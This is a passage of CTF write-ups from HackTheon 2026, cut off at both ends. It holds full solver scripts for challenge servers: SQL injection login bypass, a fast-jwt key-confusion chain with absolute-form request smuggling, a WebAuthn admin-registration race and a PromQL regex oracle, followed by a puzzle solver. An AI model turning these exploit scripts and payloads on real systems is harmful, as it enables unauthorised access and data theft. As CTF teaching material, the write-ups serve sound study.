'admin' -- ' AND password = 'anything' ``` The `-- ` comment removes the rest of the `WHERE` clause, so the query returns the `admin` row without knowing the admin password. Once the admin row is returned, the application redirects to `/flag`, where the `secret` value is displayed. ## Solver ```python #!/usr/bin/env python3 from __future__ import annotations import re import sys from html import unescape from typing import Iterable from urllib.parse import urljoin import requests DEFAULT_TARGETS = [ "http://43.203.99.42:8000/", "http://15.164.182.205:8000/", ] FLAG_RE = re.compile(r"hacktheon2026\{[^}\s]+\}|[A-Z0-9_]+\{[^}\s]+\}") SECRET_RE = re.compile( r'<span class="info-value(?: [^"]*)?">\s*(.*?)\s*</span>', re.IGNORECASE | re.DOTALL, ) def normalize_base(url: str) -> str: url = url.strip() if not url.startswith(("http://", "https://")): url = "http://" + url return url.rstrip("/") + "/" def extract_flag_or_secret(html: str) -> str | None: html = unescape(html) match = FLAG_RE.search(html) if match: return match.group(0) spans = [re.sub(r"<[^>]+>", "", m).strip() for m in SECRET_RE.findall(html)] spans = [s for s in spans if s and s not in {"admin", "user"}] if spans: return spans[-1] return None def solve(base_url: str) -> str: base_url = normalize_base(base_url) session = requests.Session() payload = "admin' -- " response = session.post( base_url, data={"username": payload, "password": "anything"}, allow_redirects=True, timeout=10, ) response.raise_for_status() html = response.text if "/flag" not in response.url: flag_page = session.get(urljoin(base_url, "flag"), timeout=10) if flag_page.ok: html = flag_page.text flag = extract_flag_or_secret(html) if not flag: raise RuntimeError("exploit ran, but no flag/secret was found in the response") return flag def main(argv: Iterable[str]) -> int: targets = list(argv) or DEFAULT_TARGETS last_error: Exception | None = None for target in targets: try: flag = solve(target) except Exception as exc: last_error = exc print(f"[-] {target}: {exc}", file=sys.stderr) continue print(f"[+] target: {normalize_base(target)}") print(f"[+] flag: {flag}") return 0 print(f"[!] all targets failed: {last_error}", file=sys.stderr) return 1 if __name__ == "__main__": raise SystemExit(main(sys.argv[1:])) ``` ## Usage Install dependencies if needed: ```bash python3 -m pip install requests ``` Run against the default mirrors: ```bash python3 solve.py ``` Or run against a specific mirror: ```bash python3 solve.py http://43.203.99.42:8000/ ``` Expected output: ```text [+] target: http://43.203.99.42:8000/ [+] flag: hacktheon2026{...} ``` ## Fix Use parameterized SQL instead of formatting user input into the query: ```python cursor = conn.execute( "SELECT username, role, secret FROM users WHERE username = ? AND password = ?", (username, password), ) ``` This keeps user-controlled values as data, not executable SQL syntax. ### Dark habour 1 & 2 ``` --- title: "Dark Harbor 1" ctf: "HackTheon 2026" date: 2026-04-25 category: web difficulty: hard points: 939 flag_format: "hacktheon2026{...}" --- # Dark Harbor 1 ## Summary The challenge exposes a deployment hub behind an edge proxy. The winning chain was: bypass the hidden internal API route with an absolute-form request target, seed an attacker-controlled verifier through the JUnit report flow, abuse `fast-jwt` algorithm/key confusion to forge an admin policy token, then read the hidden `admin-console.json` file containing both the real flag and the `deployment_hmac_secret` required for Dark Harbor 2. ## Solution ### Step 1: Reach the hidden internal API route The source strongly suggests hidden routes under `/internal/*`, but the live service rejected the obvious single-encoded path tricks. The reliable live primitive was sending a **raw absolute-form request target** instead of a normal origin-form path: ```http POST http://api-server:3000/internal/policy-seed HTTP/1.1 Host: 15.164.173.78:8080 ``` That request goes through the public edge, but the edge filter does not treat it like a normal `/internal/...` path, and the downstream API server accepts it as the hidden internal route. ### Step 2: Seed a verifier and forge the policy token The JUnit upload endpoint stores the first testcase output in Redis. The hidden `internal/policy-seed` route copies that value into the policy verifier table as: ```python pem = "\n" + first_testcase_output ``` So the exploit is: 1. Register a normal workspace. 2. Generate an RSA keypair. 3. Upload the **public key PEM** as the first testcase output. 4. Call the hidden seed route with an attacker-controlled `kid`. At first glance this looks like an RS256 solve, but the live verifier actually rejects RS256 for the seeded key. The reason is the leading newline: `fast-jwt` treats the stored value as **HS256 secret key material** instead of a proper RSA public key. So the real token is: - `alg = HS256` - `kid = attacker-seeded kid` - HMAC secret = `"\n" + uploaded_public_key_pem` - payload contains `"role": "admin"` Once this token passes `/api/policy/verify`, it can be used for the hidden admin console read. ### Step 3: Read the hidden admin console The same absolute-form trick works for the final file read: ```http GET http://api-server:3000/internal/admin-console.json HTTP/1.1 Host: 15.164.173.78:8080 X-Policy-Token: <forged-admin-token> ``` The response contains both the real flag and the secret needed for Dark Harbor 2: ```json { "flag": "hacktheon2026{sil3nt_tid3_bre4ch}", "deployment_hmac_secret": "a]Kx9#mP$vQ2nR7wF4jL8cB5hT0yU3eA" } ``` ## Exploit Script `exploit.py` in this directory automates the full solve and prints both values. ```bash pip install cryptography python3 exploit.py http://15.164.173.78:8080 ``` Expected output: ```text FLAG=hacktheon2026{sil3nt_tid3_bre4ch} DEPLOYMENT_HMAC_SECRET=a]Kx9#mP$vQ2nR7wF4jL8cB5hT0yU3eA ``` ## Why the provided snippet works The short snippet you pasted is only the **last stage** of the exploit. It already assumes you have: - a valid `kid` created by the hidden seed route, - a workspace `local_token`, - and the exact public key PEM that was uploaded into the report. It works because the seeded verifier is not actually used as an RSA key on the live target. Instead, the verifier accepts an **HS256** JWT signed with: ```python secret = "\n" + uploaded_public_key_pem ``` Then it reads the hidden admin console through a raw absolute-form request target: ```python http_raw('GET', 'http://api-server:3000/internal/admin-console.json', ...) ``` So your snippet is valid, but it starts after the important setup phase. ## Flag ```text hacktheon2026{sil3nt_tid3_bre4ch} ``` ## Dark Harbor 2 prerequisite Use this value for `POST /api/phase1-handoff` in Dark Harbor 2: ```text a]Kx9#mP$vQ2nR7wF4jL8cB5hT0yU3eA ``` ``` --- title: "Dark Harbor 2" ctf: "HackTheon 2026" date: 2026-04-25 category: web difficulty: hard points: 939 flag_format: "hacktheon2026{...}" author: "hibwyli" --- # Dark Harbor 2 ## Summary Dark Harbor 2 is the second stage of the Deployment Hub chain. The required input is the `deployment_hmac_secret` recovered from Dark Harbor 1. The exploit then uses a same-connection request-reuse bug on the public `/health/policy-engine` route to reach a hidden policy override endpoint, recover deploy tokens, and decrypt the final flag. ## Solution ### Step 1: Enter phase 2 with the DH1 secret The first challenge gives: ```text a]Kx9#mP$vQ2nR7wF4jL8cB5hT0yU3eA ``` That value is required for: ```http POST /api/phase1-handoff {"hmac_secret":"..."} ``` On the live hosts, this returns a REVIEW-state `workspace_id` and a local `admin_jwt` used for the public deploy endpoints. ### Step 2: Reach the hidden policy override The hidden writer for the encrypted flag is: ```http POST /internal/admin/policy-override ``` It is blocked directly at the edge. The working primitive was to open a single TCP connection and pipeline: 1. `GET /health/policy-engine` 2. `POST /internal/admin/policy-override` The second request must include: - `Authorization: Bearer <HS256 pipeline_admin token>` - `X-Internal-HMAC: SHA256:<ts>:<sig>` - `X-Pipeline-State: REVIEW` Both the JWT and the HMAC are signed with the DH1 secret. ### Step 3: Recover the deploy inputs and decrypt the flag The override result stores: ```json { "deploy_token": "...", "encrypted_secret": "...", "nonce": "..." } ``` Then: 1. Call `GET /api/deploy/:workspaceId/override-result` with the `admin_jwt` from phase1-handoff. 2. Use `POST /api/deploy/:workspaceId/use-token` with `action=sign` to recover the `signing_key` for that deploy token. 3. Trigger override again and use a second deploy token with `action=seal` to recover `session_seal`. 4. Derive the AES key with `HMAC-SHA256(signing_key, session_seal)`. 5. Decrypt `encrypted_secret` with AES-256-GCM. That yields the final flag. ## Exploit Script Run: ```bash pip install cryptography python3 solve.py http://3.38.160.83:8080 ``` The script prints the flag directly. ## Flag ```text hacktheon2026{lighth0use_se4l_cr4ck} ``` ### PhantomPass ``` src/app/app.py:87-115 lets you start registration for any username that either does not exist yet or exists with zero credentials, and it sets session["uid"] = uid before WebAuthn registration is completed. src/app/app.py:118-138 never re-checks username ownership in register/complete, so if you win register/begin for admin, you can still attach your own admin credential afterward. src/app/app.py:184-195 exposes the current session’s vault_token via /api/me. src/app/app.py:296-344 only requires two things to open the vault: an admin credential and the matching admin vault_token. src/bot/bot.py:105-123 auto-registers/logs in as admin at startup, which creates the race window every reset. So the exploit is: Race POST /api/register/begin {"username":"admin"} right at the hourly reset. If you get 200, that session is already bound to admin. Complete WebAuthn registration with your passkey, so you become an admin with your own credential. GET /api/me to read admin’s vault_token. POST /vault/begin, sign with your new admin credential, then POST /vault and get the flag. #!/usr/bin/env python3 """ PhantomPass solver Exploit summary: - Race /api/register/begin for username "admin" during the hourly reset window. - The server binds the session to the chosen uid before WebAuthn completes. - Once one worker gets HTTP 200 for admin registration begin, it can finish its own admin passkey registration, read /api/me to get admin's vault_token, then sign /vault with the newly-added admin credential and print the flag. Default behavior: - Wait until a few seconds before the next top-of-hour reset. - Hammer all provided hosts concurrently during a short window. - Repeat each hour until one host yields a flag. Dependencies: pip install requests soft-webauthn """ from __future__ import annotations import argparse import base64 import datetime as dt import json import queue import threading import time from dataclasses import dataclass from typing import Any import requests import urllib3 from soft_webauthn import SoftWebauthnDevice urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) DEFAULT_HOSTS = [ "https://43-202-165-147.sslip.io", "https://16-184-15-119.sslip.io", "https://16-184-9-39.sslip.io", "https://54-116-33-123.sslip.io", ] @dataclass class SolveResult: host: str flag: str attempts: int elapsed: float class StopNow(Exception): pass def b64u_dec(s: str) -> bytes: return base64.urlsafe_b64decode(s + "=" * (-len(s) % 4)) def b64u_enc(b: bytes) -> str: return base64.urlsafe_b64encode(b).decode().rstrip("=") def reg_payload(cred: dict[str, Any]) -> dict[str, Any]: cid = b64u_enc(cred["rawId"]) return { "id": cid, "rawId": cid, "type": cred["type"], "response": { "clientDataJSON": b64u_enc(cred["response"]["clientDataJSON"]), "attestationObject": b64u_enc(cred["response"]["attestationObject"]), }, } def auth_payload(cred: dict[str, Any]) -> dict[str, Any]: cid = b64u_enc(cred["rawId"]) return { "id": cid, "rawId": cid, "type": cred["type"], "response": { "authenticatorData": b64u_enc(cred["response"]["authenticatorData"]), "clientDataJSON": b64u_enc(cred["response"]["clientDataJSON"]), "signature": b64u_enc(cred["response"]["signature"]), "userHandle": ( b64u_enc(cred["response"]["userHandle"]) if cred["response"].get("userHandle") else None ), }, } def begin_registration(session: requests.Session, host: str) -> tuple[int, dict[str, Any] | None]: r = session.post( f"{host}/api/register/begin", json={"username": "admin"}, timeout=1.5, verify=False, ) if r.status_code != 200: return r.status_code, None return 200, r.json() def exploit_host(host: str, stop: threading.Event, result_q: queue.Queue[SolveResult], timeout_s: float) -> None: started = time.time() attempts = 0 session = requests.Session() while not stop.is_set() and time.time() - started < timeout_s: attempts += 1 try: code, opts = begin_registration(session, host) if code != 200: # 409 is the normal pre-reset state; connection errors / 5xx happen during restart. continue # We won a registration window for username "admin" in THIS session. assert opts is not None dev = SoftWebauthnDevice() opts["challenge"] = b64u_dec(opts["challenge"]) opts["user"]["id"] = b64u_dec(opts["user"]["id"]) att = dev.create({"publicKey": opts}, host) r = session.post( f"{host}/api/register/complete", json=reg_payload(att), timeout=3, verify=False, ) if not r.ok: # Extremely unlikely once begin returned 200, but just keep racing if it happens. continue me = session.get(f"{host}/api/me", timeout=3, verify=False).json() vault_token = me["vault_token"] opts2 = session.post(f"{host}/vault/begin", timeout=3, verify=False).json() opts2["challenge"] = b64u_dec(opts2["challenge"]) for c in opts2.get("allowCredentials", []): c["id"] = b64u_dec(c["id"]) assertion = dev.get({"publicKey": opts2}, host) r = session.post( f"{host}/vault", json={ "vault_token": vault_token, "credential": auth_payload(assertion), }, timeout=3, verify=False, ) data = r.json() if "flag" in data: stop.set() result_q.put( SolveResult( host=host, flag=data["flag"], attempts=attempts, elapsed=time.time() - started, ) ) return except Exception: # Network blips during reset are expected. continue def next_top_of_hour(now: dt.datetime | None = None) -> dt.datetime: now = now or dt.datetime.now() return (now.replace(minute=0, second=0, microsecond=0) + dt.timedelta(hours=1)) def sleep_until(ts: dt.datetime) -> None: while True: delta = (ts - dt.datetime.now()).total_seconds() if delta <= 0: return time.sleep(min(delta, 0.25)) def run_round(hosts: list[str], workers_per_host: int, window_s: float) -> SolveResult | None: stop = threading.Event() result_q: queue.Queue[SolveResult] = queue.Queue() threads: list[threading.Thread] = [] for host in hosts: for _ in range(workers_per_host): t = threading.Thread( target=exploit_host, args=(host, stop, result_q, window_s), daemon=True, ) t.start() threads.append(t) deadline = time.time() + window_s while time.time() < deadline and not stop.is_set(): try: return result_q.get(timeout=0.1) except queue.Empty: pass stop.set() for t in threads: t.join(timeout=0.1) try: return result_q.get_nowait() except queue.Empty: return None def main() -> None: ap = argparse.ArgumentParser(description="Exploit PhantomPass by racing admin registration at reset time.") ap.add_argument("--host", action="append", dest="hosts", help="Target host (repeatable). Defaults to all 4 challenge hosts.") ap.add_argument("--workers-per-host", type=int, default=8, help="Concurrent race workers per host. Default: 8") ap.add_argument("--lead", type=float, default=7.0, help="Start racing this many seconds before the top of the hour. Default: 7") ap.add_argument("--window", type=float, default=18.0, help="How long to keep racing each round. Default: 18") ap.add_argument("--immediate", action="store_true", help="Start a race round immediately instead of aligning to the next top of hour.") args = ap.parse_args() hosts = args.hosts or DEFAULT_HOSTS print("[+] targets:") for h in hosts: print(f" - {h}") print(f"[+] workers per host: {args.workers_per_host}") round_no = 0 while True: round_no += 1 if not args.immediate: fire_at = next_top_of_hour() - dt.timedelta(seconds=args.lead) print(f"[+] round {round_no}: arming for {fire_at.isoformat(timespec='seconds')}") sleep_until(fire_at) else: print(f"[+] round {round_no}: starting immediately") print(f"[+] round {round_no}: racing for {args.window:.1f}s") res = run_round(hosts, args.workers_per_host, args.window) if res: print(f"[+] won on {res.host} after {res.attempts} attempts in {res.elapsed:.2f}s") print(res.flag) return print("[-] no win this round") if args.immediate: # In immediate mode, keep going but do not busy-loop. time.sleep(1.0) if __name__ == "__main__": main() ``` ### Observatory ``` import requests, string, time base='http://43.201.43.169:3000' s=requests.Session() s.post(base+'/login', data={'username':'aaaaaaa','password':'pass123'}, allow_redirects=False, timeout=5) def esc(ch): if ch.isalnum() or ch in '_': return ch if ch == '{': return '[{]' if ch == '}': return '[}]' if ch == '-': return '[-]' if ch == '.': return '[.]' if ch == ':': return '[:]' if ch == '/': return '[/]' if ch == ' ': return '[ ]' return '[' + ch + ']' def oracle(prefix): rx = '^' + ''.join(esc(c) for c in prefix) + '.*' agg = f'secret_config{{flag=~"{rx}"}} + on() up or count' r = s.post(base+'/api/query', json={'metric':'up','agg':agg}, timeout=15) txt = r.text return 'Query failed' in txt, txt prefix = 'hacktheon2026{pr0m3th3us_m3tr1cx' print('base oracle', prefix, oracle(prefix)[0]) charset = string.ascii_lowercase + string.digits + '_-}' for i in range(40): found = [] for ch in charset: ok, txt = oracle(prefix + ch) print('try', prefix + ch, ok) if ok: found.append(ch) print('position', i, 'found', found) if len(found) == 1: prefix += found[0] print('PREFIX NOW', prefix) if found[0] == '}': break else: print('AMBIGUOUS OR NONE at prefix', prefix) break print('FINAL', prefix) ``` ``` ```` ## MISC ### CathedralOfTheLastCandle #### Summary You are placed inside a **5×8 grid cathedral** containing **40 candles**, each with one of three states: * `.` → extinguished (0) * `*` → lit (1) * `~` → overlit (2) Your goal: 1. **Extinguish all candles (state = 0)** 2. **Reach the altar (fixed position at (4,7))** 3. **Execute `pray`** 4. Stay within a strict **budget of 300 actions** #### Game Mechanics ##### Movement * `go n/s/e/w` → move in cardinal directions ##### Candle Operations Two key operations affect states modulo 3: * `ring`: * Applies transformation: ``` (a, b) → ((a + b) mod 3, (a + 2b) mod 3) ``` * `hush`: * Applies transformation: ``` (a, b) → ((2a + 2b) mod 3, (2a + b) mod 3) ``` Where: * `a` = current tile state * `b` = parent tile state These operations propagate along a **hidden tree structure** of the grid. #### Key Insight The grid is not independent — it forms a **tree rooted at (4,7)**. Each cell has: * A **parent direction** * A set of **children** Operations (`ring`, `hush`) affect nodes based on this tree relationship. #### Solver Strategy The solver in follows a **three-phase approach**: #### 1. Discovery Phase * Traverse grid in a **snake pattern** * For each cell: * Use `ring` / `hush` probes * Detect which neighbor changes * Infer **parent direction** This reconstructs the hidden **tree structure**. #### 2. Modeling as Modular System Each candle state is in: ``` Z₃ = {0,1,2} ``` Operations are linear transforms in mod 3 arithmetic. The solver: * Treats each subtree as a **state machine (transducer)** * Computes: * `a_cost`: cost to clear subtree * `b_cost`: cost when revisiting subtree This is done via **Dijkstra on state space**: ``` (state_mask, current_value, incoming_value) ``` #### 3. Dynamic Programming on Tree * Process nodes in **postorder** * Compute minimal cost transitions: * Clear all children * Reduce node to 0 Then solve root independently: * Combine all subtree transitions * Ensure root becomes 0 #### 4. Command Reconstruction The solver: * Backtracks through DP decisions * Emits actual commands: * Movement (`go`) * Operations (`ring`, `hush`) Traversal pattern: * Enter subtree * Solve locally * Return to parent #### 5. Final Execution * Execute all generated commands * Finish with: ``` pray ``` #### Constraints Handling * Total budget: **300** * Solver ensures: ``` discovery_cost + solve_cost + 1 (pray) ≤ 300 ``` #### Complexity * Grid size: fixed (40 cells) * State space per node: small (mod 3 + bitmask) * Efficient due to: * Tree structure * Memoized DP * Dijkstra pruning #### Key Takeaways * Problem reduces to: > **Tree + modular algebra + shortest path planning** * Critical ideas: * Reverse-engineering hidden structure * Modeling operations as algebraic transforms * Dynamic programming over tree states #### Final Result Once all candles are extinguished and the player reaches the altar: ``` pray ``` #### PoC ```py from __future__ import annotations import heapq import re import socket import sys from dataclasses import dataclass from typing import Dict, List, Optional, Tuple ROWS = 5 COLS = 8 ROOT = (4, 7) INF = 10**9 STATE_FROM_CHAR = {".": 0, "*": 1, "~": 2} CHAR_FROM_STATE = ".*~" DIRS = { "n": (-1, 0), "s": (1, 0), "w": (0, -1), "e": (0, 1), } DIR_FROM_DELTA = {v: k for k, v in DIRS.items()} OPPOSITE = {"n": "s", "s": "n", "e": "w", "w": "e"} def idx_of(r: int, c: int) -> int: return r * COLS + c def rc_of(idx: int) -> Tuple[int, int]: return divmod(idx, COLS) def in_bounds(r: int, c: int) -> bool: return 0 <= r < ROWS and 0 <= c < COLS def ring_pair(a: int, b: int) -> Tuple[int, int]: return ((a + b) % 3, (a + 2 * b) % 3) def hush_pair(a: int, b: int) -> Tuple[int, int]: return ((2 * a + 2 * b) % 3, (2 * a + b) % 3) @dataclass class Screen: raw: str pos: Tuple[int, int] budget: int visible: Dict[Tuple[int, int], int] class CathedralClient: def __init__(self, host: str, port: int): self.host = host self.port = port self.sock = socket.create_connection((host, port)) self.sock.settimeout(5.0) self.buf = b"" self.screen = self._read_screen() def close(self) -> None: try: self.sock.close() except OSError: pass def _recv_some(self) -> bytes: chunk = self.sock.recv(65536) if not chunk: raise EOFError("connection closed") return chunk def _read_until_prompt(self) -> str: while b"> " not in self.buf: self.buf += self._recv_some() raw, self.buf = self.buf.split(b"> ", 1) return raw.decode("utf-8", errors="replace") def _read_screen(self) -> Screen: raw = self._read_until_prompt() return parse_screen(raw) def command(self, cmd: str) -> Screen: self.sock.sendall(cmd.encode() + b"\n") self.screen = self._read_screen() return self.screen def command_final(self, cmd: str) -> str: self.sock.sendall(cmd.encode() + b"\n") parts = [self.buf] self.buf = b"" try: while True: parts.append(self._recv_some()) except Exception: pass return b"".join(parts).decode("utf-8", errors="replace") def parse_screen(raw: str) -> Screen: text = raw.replace("\x1b[2J", "").replace("\x1b[H", "") m = re.search(r"Pos:\((\d+),(\d+)\)\s+Budget:(\d+)", text) if not m: raise ValueError(f"could not parse position/budget from screen:\n{text}") pos = (int(m.group(1)), int(m.group(2))) budget = int(m.group(3)) visible: Dict[Tuple[int, int], int] = {} row_idx = 0 for line in text.splitlines(): if row_idx >= ROWS: break tokens = re.findall(r"\[[.~*]\]|[.~*?]", line) if len(tokens) != COLS: continue for col_idx, tok in enumerate(tokens): if tok == "?": continue ch = tok[1] if tok.startswith("[") else tok visible[(row_idx, col_idx)] = STATE_FROM_CHAR[ch] row_idx += 1 if row_idx != ROWS: raise ValueError(f"could not parse board rows from screen:\n{text}") return Screen(raw=text, pos=pos, budget=budget, visible=visible) def snake_cells() -> List[Tuple[int, int]]: cells: List[Tuple[int, int]] = [] for r in range(ROWS): cols = range(COLS) if r % 2 == 0 else range(COLS - 1, -1, -1) for c in cols: cells.append((r, c)) return cells def move_sequence(src: Tuple[int, int], dst: Tuple[int, int]) -> List[str]: sr, sc = src dr, dc = dst cmds: List[str] = [] while sr < dr: cmds.append("go s") sr += 1 while sr > dr: cmds.append("go n") sr -= 1 while sc < dc: cmds.append("go e") sc += 1 while sc > dc: cmds.append("go w") sc -= 1 return cmds class Solver: def __init__(self, client: CathedralClient): self.client = client self.initial_states = [-1] * (ROWS * COLS) self.parent_dir: List[Optional[str]] = [None] * (ROWS * COLS) self.children: List[List[int]] = [[] for _ in range(ROWS * COLS)] self.subtree_cleared: List[bool] = [False] * (ROWS * COLS) self.a_cost: List[List[List[int]]] = [[[INF] * 3 for _ in range(3)] for _ in range(ROWS * COLS)] self.b_cost: List[List[List[int]]] = [[[INF] * 3 for _ in range(3)] for _ in range(ROWS * COLS)] self.a_prev: Dict[int, Dict[int, Dict[Tuple[int, int, int], Tuple[Tuple[int, int, int], Tuple[str, int, int]]]]] = {} self.b_prev: Dict[int, Dict[int, Dict[Tuple[int, int, int], Tuple[Tuple[int, int, int], Tuple[str, int, int]]]]] = {} self.root_prev: Dict[Tuple[int, int], Tuple[Tuple[int, int], Tuple[str, int, int]]] = {} def update_visible(self, screen: Screen) -> None: for (r, c), val in screen.visible.items(): self.initial_states[idx_of(r, c)] = val def discover(self) -> None: screen = self.client.screen self.update_visible(screen) cells = snake_cells() assert cells[0] == (0, 0) for cell in cells: if screen.pos != cell: for cmd in move_sequence(screen.pos, cell): screen = self.client.command(cmd) self.update_visible(screen) self.update_visible(screen) if cell != ROOT: pdir = self.probe_parent(screen) self.parent_dir[idx_of(*cell)] = pdir screen = self.client.screen missing_states = [i for i, v in enumerate(self.initial_states) if v < 0] if missing_states: raise RuntimeError(f"missing states for cells: {missing_states}") missing_dirs = [i for i, d in enumerate(self.parent_dir) if rc_of(i) != ROOT and d is None] if missing_dirs: raise RuntimeError(f"missing parent directions for cells: {missing_dirs}") for idx, pdir in enumerate(self.parent_dir): if rc_of(idx) == ROOT: continue r, c = rc_of(idx) dr, dc = DIRS[pdir] pr, pc = r + dr, c + dc parent = idx_of(pr, pc) self.children[parent].append(idx) for lst in self.children: lst.sort() self.compute_subtree_cleared(idx_of(*ROOT)) def probe_parent(self, baseline: Screen) -> str: base = baseline.visible ring_screen = self.client.command("ring") ring_dir = self.changed_neighbor_direction(base, ring_screen.visible, baseline.pos) restore = self.client.command("hush") self.update_visible(restore) if ring_dir is not None: return ring_dir hush_screen = self.client.command("hush") hush_dir = self.changed_neighbor_direction(base, hush_screen.visible, baseline.pos) restore = self.client.command("ring") self.update_visible(restore) if hush_dir is not None: return hush_dir raise RuntimeError(f"failed to identify parent at {baseline.pos}") @staticmethod def changed_neighbor_direction( before: Dict[Tuple[int, int], int], after: Dict[Tuple[int, int], int], pos: Tuple[int, int], ) -> Optional[str]: r, c = pos changed: List[str] = [] for d, (dr, dc) in DIRS.items(): nr, nc = r + dr, c + dc if not in_bounds(nr, nc): continue if (nr, nc) not in before or (nr, nc) not in after: continue if before[(nr, nc)] != after[(nr, nc)]: changed.append(d) if len(changed) == 1: return changed[0] return None def compute_transducers(self) -> None: postorder = self.postorder(idx_of(*ROOT)) for v in postorder: if rc_of(v) == ROOT: continue self.compute_node_transducers(v) def compute_subtree_cleared(self, v: int) -> bool: ok = self.initial_states[v] == 0 for ch in self.children[v]: child_ok = self.compute_subtree_cleared(ch) ok = ok and child_ok self.subtree_cleared[v] = ok return ok def postorder(self, root: int) -> List[int]: out: List[int] = [] def dfs(v: int) -> None: for ch in self.children[v]: dfs(ch) out.append(v) dfs(root) return out def compute_node_transducers(self, v: int) -> None: start_a = self.initial_states[v] kids = self.children[v] full_mask = (1 << len(kids)) - 1 start_mask_a = 0 for bit, ch in enumerate(kids): if self.subtree_cleared[ch]: start_mask_a |= 1 << bit self.a_prev[v] = {} self.b_prev[v] = {} for mode in ("A", "B"): for in_b in range(3): start = (start_mask_a, start_a, in_b) if mode == "A" else (full_mask, 0, in_b) dist: Dict[Tuple[int, int, int], int] = {start: 0} prev: Dict[Tuple[int, int, int], Tuple[Tuple[int, int, int], Tuple[str, int, int]]] = {} pq: List[Tuple[int, Tuple[int, int, int]]] = [(0, start)] while pq: cur_cost, state = heapq.heappop(pq) if cur_cost != dist[state]: continue mask, a, b = state for op_name, (na, nb) in ( ("ring", ring_pair(a, b)), ("hush", hush_pair(a, b)), ): nxt = (mask, na, nb) new_cost = cur_cost + 1 if new_cost < dist.get(nxt, INF): dist[nxt] = new_cost prev[nxt] = (state, ("self", -1, 1 if op_name == "ring" else -1)) heapq.heappush(pq, (new_cost, nxt)) for bit, ch in enumerate(kids): if mask & (1 << bit): table = self.b_cost[ch] action_kind = "childB" next_mask = mask else: table = self.a_cost[ch] action_kind = "childA" next_mask = mask | (1 << bit) for out_a in range(3): step = table[a][out_a] if step >= INF: continue nxt = (next_mask, out_a, b) new_cost = cur_cost + step if new_cost < dist.get(nxt, INF): dist[nxt] = new_cost prev[nxt] = (state, (action_kind, ch, out_a)) heapq.heappush(pq, (new_cost, nxt)) target_table = self.a_cost if mode == "A" else self.b_cost target_prev = self.a_prev if mode == "A" else self.b_prev target_prev[v][in_b] = prev for out_b in range(3): goal = (full_mask, 0, out_b) if goal in dist: target_table[v][in_b][out_b] = dist[goal] + 2 if self.subtree_cleared[v]: for in_b in range(3): self.a_cost[v][in_b][in_b] = 0 def compute_root_plan(self) -> Tuple[int, Dict[Tuple[int, int], int], Dict[Tuple[int, int], Tuple[Tuple[int, int], Tuple[str, int, int]]]]: root = idx_of(*ROOT) kids = self.children[root] full_mask = (1 << len(kids)) - 1 start_mask = 0 for bit, ch in enumerate(kids): if self.subtree_cleared[ch]: start_mask |= 1 << bit start = (start_mask, self.initial_states[root]) dist: Dict[Tuple[int, int], int] = {start: 0} prev: Dict[Tuple[int, int], Tuple[Tuple[int, int], Tuple[str, int, int]]] = {} pq: List[Tuple[int, Tuple[int, int]]] = [(0, start)] while pq: cur_cost, state = heapq.heappop(pq) if cur_cost != dist[state]: continue mask, a = state for delta, op_name in ((1, "ring"), (-1, "hush")): na = (a + delta) % 3 nxt = (mask, na) new_cost = cur_cost + 1 if new_cost < dist.get(nxt, INF): dist[nxt] = new_cost prev[nxt] = (state, ("self", -1, 1 if op_name == "ring" else -1)) heapq.heappush(pq, (new_cost, nxt)) for bit, ch in enumerate(kids): if mask & (1 << bit): table = self.b_cost[ch] action_kind = "childB" next_mask = mask else: table = self.a_cost[ch] action_kind = "childA" next_mask = mask | (1 << bit) for out_a in range(3): step = table[a][out_a] if step >= INF: continue nxt = (next_mask, out_a) new_cost = cur_cost + step if new_cost < dist.get(nxt, INF): dist[nxt] = new_cost prev[nxt] = (state, (action_kind, ch, out_a)) heapq.heappush(pq, (new_cost, nxt)) goal = (full_mask, 0) if goal not in dist: raise RuntimeError("root plan is unreachable") return dist[goal], dist, prev def emit_node(self, v: int, mode: str, in_b: int, out_b: int, out_cmds: List[str]) -> None: if mode == "A" and self.subtree_cleared[v] and in_b == out_b and self.a_cost[v][in_b][out_b] == 0: return r, c = rc_of(v) pdir = self.parent_dir[v] assert pdir is not None out_cmds.append(f"go {OPPOSITE[pdir]}") self.emit_node_local(v, mode, in_b, out_b, out_cmds) out_cmds.append(f"go {pdir}") def emit_node_local(self, v: int, mode: str, in_b: int, out_b: int, out_cmds: List[str]) -> None: kids = self.children[v] full_mask = (1 << len(kids)) - 1 start_mask_a = 0 for bit, ch in enumerate(kids): if self.subtree_cleared[ch]: start_mask_a |= 1 << bit start = (start_mask_a, self.initial_states[v], in_b) if mode == "A" else (full_mask, 0, in_b) goal = (full_mask, 0, out_b) prev = (self.a_prev if mode == "A" else self.b_prev)[v][in_b] path: List[Tuple[Tuple[int, int, int], Tuple[str, int, int], Tuple[int, int, int]]] = [] cur = goal while cur != start: if cur not in prev: raise RuntimeError(f"missing reconstruction for node {v} mode {mode} {in_b}->{out_b}") prv, act = prev[cur] path.append((prv, act, cur)) cur = prv path.reverse() for before, act, after in path: kind, ch, param = act if kind == "self": out_cmds.append("ring" if param == 1 else "hush") elif kind == "childA": self.emit_node(ch, "A", before[1], after[1], out_cmds) elif kind == "childB": self.emit_node(ch, "B", before[1], after[1], out_cmds) else: raise AssertionError(kind) def emit_root(self, prev: Dict[Tuple[int, int], Tuple[Tuple[int, int], Tuple[str, int, int]]]) -> List[str]: root = idx_of(*ROOT) kids = self.children[root] full_mask = (1 << len(kids)) - 1 start_mask = 0 for bit, ch in enumerate(kids): if self.subtree_cleared[ch]: start_mask |= 1 << bit start = (start_mask, self.initial_states[root]) goal = (full_mask, 0) path: List[Tuple[Tuple[int, int], Tuple[str, int, int], Tuple[int, int]]] = [] cur = goal while cur != start: prv, act = prev[cur] path.append((prv, act, cur)) cur = prv path.reverse() out_cmds: List[str] = [] for before, act, after in path: kind, ch, param = act if kind == "self": out_cmds.append("ring" if param == 1 else "hush") elif kind == "childA": self.emit_node(ch, "A", before[1], after[1], out_cmds) elif kind == "childB": self.emit_node(ch, "B", before[1], after[1], out_cmds) else: raise AssertionError(kind) return out_cmds def solve(self) -> str: self.discover() spent_discovery = 300 - self.client.screen.budget self.compute_transducers() solve_cost, _, root_prev = self.compute_root_plan() cmds = self.emit_root(root_prev) total_planned = spent_discovery + solve_cost + 1 print(f"[+] discovery_cost={spent_discovery} solve_cost={solve_cost} total_with_pray={total_planned}", file=sys.stderr) print(f"[+] current_budget={self.client.screen.budget}", file=sys.stderr) if total_planned > 300: raise RuntimeError(f"planned total exceeds budget: {total_planned}") for cmd in cmds: self.client.command(cmd) final = self.client.command_final("pray") return final def main() -> None: host = "3.35.223.94" port = 9000 client = CathedralClient(host, port) try: solver = Solver(client) result = solver.solve() print(result) finally: client.close() if 